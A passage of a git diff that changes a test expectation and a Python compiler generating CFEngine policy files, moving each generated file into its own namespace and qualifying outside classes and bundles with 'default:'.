name is its module name, derived from the project name. expect(module.name).toBe('web-hardening'); expect(Object.keys(module.provides)).toEqual(['web-hardening']); - expect(module.provides['web-hardening'].steps).toContain('bundles web'); + expect(module.provides['web-hardening'].steps).toContain('bundles web:main'); // Masterfiles (not ours) is kept; our own build module isn't. expect(module.build).toEqual([builderProject.build[0]]); await expect(window.locator('header').getByText('module', { exact: true })).toBeVisible(); diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index ee8f654..c960836 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -5,7 +5,7 @@ output is {file path: contents} — each .cf, plus the template files its blocks render (in ./templates/, one cfbs directory module). Targets CFEngine 3.27+: every file evaluates top-down, all of its blocks in its one entry -bundle. Default namespace, next to masterfiles. +bundle. Each file is a namespace of its own: `:vars` and `:main`. """ from __future__ import annotations @@ -15,7 +15,7 @@ import re import sys import textwrap -from dataclasses import dataclass, field +from dataclasses import dataclass, field, replace from pathlib import Path from cfengine_cli.format import format_policy_fin_fout @@ -26,8 +26,8 @@ OUTCOME_SUFFIX = {"kept": "kept", "repaired": "repaired", "not_kept": "not_kept"} # A Mustache tag: {{name}}, {{{name}}}, {{&name}}, {{#name}}, {{^name}}, {{/name}}, {{!comment}}. MUSTACHE_TAG = re.compile(r"\{\{(\{?)\s*([#^/&!>]?)\s*(.*?)\s*\}?\}\}", re.S) -MUSTACHE_VAR = re.compile(r"vars\.([A-Za-z_]\w*)\.([A-Za-z_]\w*)(\..+)?") -MUSTACHE_CLASS = re.compile(r"classes\.([A-Za-z_]\w*)") +MUSTACHE_VAR = re.compile(r"vars\.((?:[A-Za-z_]\w*:)?[A-Za-z_]\w*)\.([A-Za-z_]\w*)(\..+)?") +MUSTACHE_CLASS = re.compile(r"classes\.((?:[A-Za-z_]\w*:)?[A-Za-z_]\w*)") LINE_LENGTH = 80 # Where templates go: one directory module, so they ship whatever kind of module uses them. TEMPLATES_DIR = "./templates/" @@ -52,8 +52,6 @@ class Library: descriptors: dict[str, dict] decorators: dict[str, dict] bodies: dict[str, dict] - # Bundle names masterfiles already uses in the default namespace. - reserved_bundles: set[str] = field(default_factory=set) @classmethod def load(cls, directory: Path | None = None) -> Library: @@ -64,8 +62,7 @@ def load(cls, directory: Path | None = None) -> Library: descriptors[descriptor["id"]] = descriptor decorators = json.loads((directory / "lib/decorators.json").read_text(encoding="utf-8"))["decorators"] bodies = json.loads((directory / "lib/bodies.json").read_text(encoding="utf-8"))["bodies"] - reserved = json.loads((directory / "lib/reserved-bundles.json").read_text(encoding="utf-8"))["bundles"] - return cls(descriptors, {d["id"]: d for d in decorators}, {b["name"]: b for b in bodies}, set(reserved)) + return cls(descriptors, {d["id"]: d for d in decorators}, {b["name"]: b for b in bodies}) # --- values --------------------------------------------------------------- @@ -106,14 +103,28 @@ def negated(expression: str) -> str: return f"!({expression})" if re.search(r"[|.&!()]", expression) else f"!{expression}" -def class_expression(condition: dict) -> str: +def class_expression(condition: dict, local: set[str]) -> str: name = condition["className"].strip() # A file's condition is a `name::` guard: anything else in it would be policy. if not valid_class_expression(name): raise CompileError(f"{name!r} isn't a valid class expression") + name = in_namespace(name, local) return negated(name) if condition.get("mode") == "unless" else name +def in_namespace(expression: str, local: set[str]) -> str: + """A bare class the file doesn't define is the default namespace's (hard, augments or + masterfiles classes), which a namespaced file only sees as `default:name`.""" + + def qualified(match: re.Match) -> str: + token = match.group() + if not re.fullmatch(r"[A-Za-z_]\w*", token) or token in local or token == "any": + return token + return f"default:{token}" + + return CLASS_TOKEN.sub(qualified, expression) + + def combined(expressions: list[str]) -> str: """Class expressions ANDed: "a.!b", parenthesised where they hold an OR.""" parts = [f"({e})" if "|" in e and len(expressions) > 1 else e for e in expressions if e] @@ -184,7 +195,7 @@ def call(i: int) -> int | None: class Context: """What an expression compiles against: one block's (or entry's) parameters.""" - # The file's `_vars`, which `vars.x` references mean. + # The file's `:vars`, which `vars.x` references mean. vars_bundle: str params: dict[str, str] bodies: set[str] @@ -203,6 +214,8 @@ class Context: locals: list[str] = field(default_factory=list) # Parameters computed from data -> their CFEngine type. computed: dict[str, str] = field(default_factory=dict) + # Classes the file defines: everything else bare is `default:`. + local_classes: set[str] = field(default_factory=set) def substitute(self, template: str) -> str: return PLACEHOLDER.sub(lambda match: self.params.get(match.group(1), ""), template) @@ -220,6 +233,8 @@ def compile_value(expr, ctx: Context) -> str: name = expr["body"] if expr.get("lib") == "builder": ctx.bodies.add(name) + else: + name = f"default:{name}" args = expr.get("args") return f"{name}({', '.join(compile_value(arg, ctx) for arg in args)})" if args else name if "list" in expr: @@ -227,7 +242,11 @@ def compile_value(expr, ctx: Context) -> str: if "list_param" in expr: return list_value([quote(item) for item in lines_of(ctx.params.get(expr["list_param"], ""))], ctx) if "class_refs" in expr: - refs = [("!" if ref.get("negate") else "") + ref["name"] for ref in ctx.class_refs if ref.get("name")] + refs = [ + ("!" if ref.get("negate") else "") + in_namespace(ref["name"], ctx.local_classes) + for ref in ctx.class_refs + if ref.get("name") + ] return "{ " + ", ".join(quote(ref) for ref in refs) + " }" if "class_expression" in expr: text = ctx.substitute(expr["class_expression"]).strip() @@ -235,10 +254,12 @@ def compile_value(expr, ctx: Context) -> str: if valid_function_call(text): return text elif valid_class_expression(text): - return quote(text) + return quote(in_namespace(text, ctx.local_classes)) raise Skip("not a valid class expression or function call") if "bundle" in expr: name = ctx.substitute(expr["bundle"]) + # The stdlib, or another module's: anything unqualified is in the default namespace. + name = name if ":" in name else f"default:{name}" args = expr.get("args") return f"{name}({', '.join(compile_value(arg, ctx) for arg in args)})" if args else name if "variable" in expr: @@ -265,7 +286,7 @@ def compile_value(expr, ctx: Context) -> str: # ifelse(class, value, …, otherwise): the first row whose condition holds. args = [] for row in cases_of(ctx.params.get(expr["cases_param"], "")): - name = row["className"] + name = in_namespace(row["className"], ctx.local_classes) condition = negated(name) if row.get("mode") == "unless" else name args += [quote(condition), quote(row.get("value", ""))] otherwise = compile_value(expr["otherwise"], ctx) @@ -443,13 +464,12 @@ def template_refs(template: str) -> TemplateRefs | None: class FileCompiler: library: Library file: dict - # "_vars.name" -> its CFEngine type, for every variable the project defines. + # ":vars.name" -> its CFEngine type, for every variable the project defines. types: dict[str, str] = field(default_factory=dict) - # Bundle names taken project-wide (the default namespace is shared); grows as blocks are named. - taken: set[str] = field(default_factory=set) - # Builder bodies an earlier file already defines: a body may only be defined once. - written_bodies: set[str] = field(default_factory=set) + # Names taken in the file's namespace; grows as blocks and groups are named. + taken: set[str] = field(default_factory=lambda: {"main", "vars"}) bodies: set[str] = field(default_factory=set) + local_classes: set[str] = field(default_factory=set) # The file's templates, by name in ./templates/. companions: dict[str, str] = field(default_factory=dict) # (block or group id, its `# ...` comment) in output order, for source_map. @@ -458,15 +478,16 @@ class FileCompiler: source_map: dict[str, list[list[int]]] = field(default_factory=dict) @property - def bundle(self) -> str: - return self.file["bundle"] + def ns(self) -> str: + return self.file["namespace"] @property def vars_name(self) -> str: - return f"{self.bundle}_vars" + return f"{self.ns}:vars" def compile(self) -> str: blocks = self.file.get("blocks") or [] + self.local_classes = defined_classes(self.file, self.library) definitions = [b for b in blocks if self.descriptor(b).get("compile_target") == "file_vars"] sequenced = self.sequenced_blocks(blocks) names = self.block_names(sequenced) @@ -475,7 +496,7 @@ def compile(self) -> str: sections = [self.header()] # Promises run in the order written, not by promise type (CFEngine 3.27+): canvas order. - sections.append('body file control\n{\n evaluation_order => "top_down";\n}') + sections.append(f'body file control\n{{\n namespace => "{self.ns}";\n evaluation_order => "top_down";\n}}') vars_bundle = self.vars_bundle(definitions) if vars_bundle: sections.append(vars_bundle) @@ -483,9 +504,7 @@ def compile(self) -> str: if sequenced: sections.append(self.entry_bundle(sequenced, names, groups)) sections.extend(self.group_bundle(group, sequenced, names) for group in groups.values()) - new_bodies = sorted(self.bodies - self.written_bodies) - sections.extend(self.builder_body(name) for name in new_bodies) - self.written_bodies.update(new_bodies) + sections.extend(self.builder_body(name) for name in sorted(self.bodies)) policy = format_policy("\n\n".join(sections) + "\n") self.source_map = locate_chunks(policy, self.chunks) return policy @@ -500,7 +519,7 @@ def header(self) -> str: wrapped = textwrap.wrap(paragraph, 77) lines += [f"# {line}" for line in wrapped] or ["#"] lines.append("#") - name = self.file.get("name", self.bundle) + name = self.file.get("name", self.ns) lines += [ f'# Generated by CFEngine Policy Builder from "{name}".', "# Edits here are overwritten when the project is saved.", @@ -521,11 +540,11 @@ def sequenced_blocks(self, blocks: list[dict]) -> list[dict]: return order + [b for b in own.values() if b not in order] def block_names(self, blocks: list[dict]) -> dict[str, str]: - """`_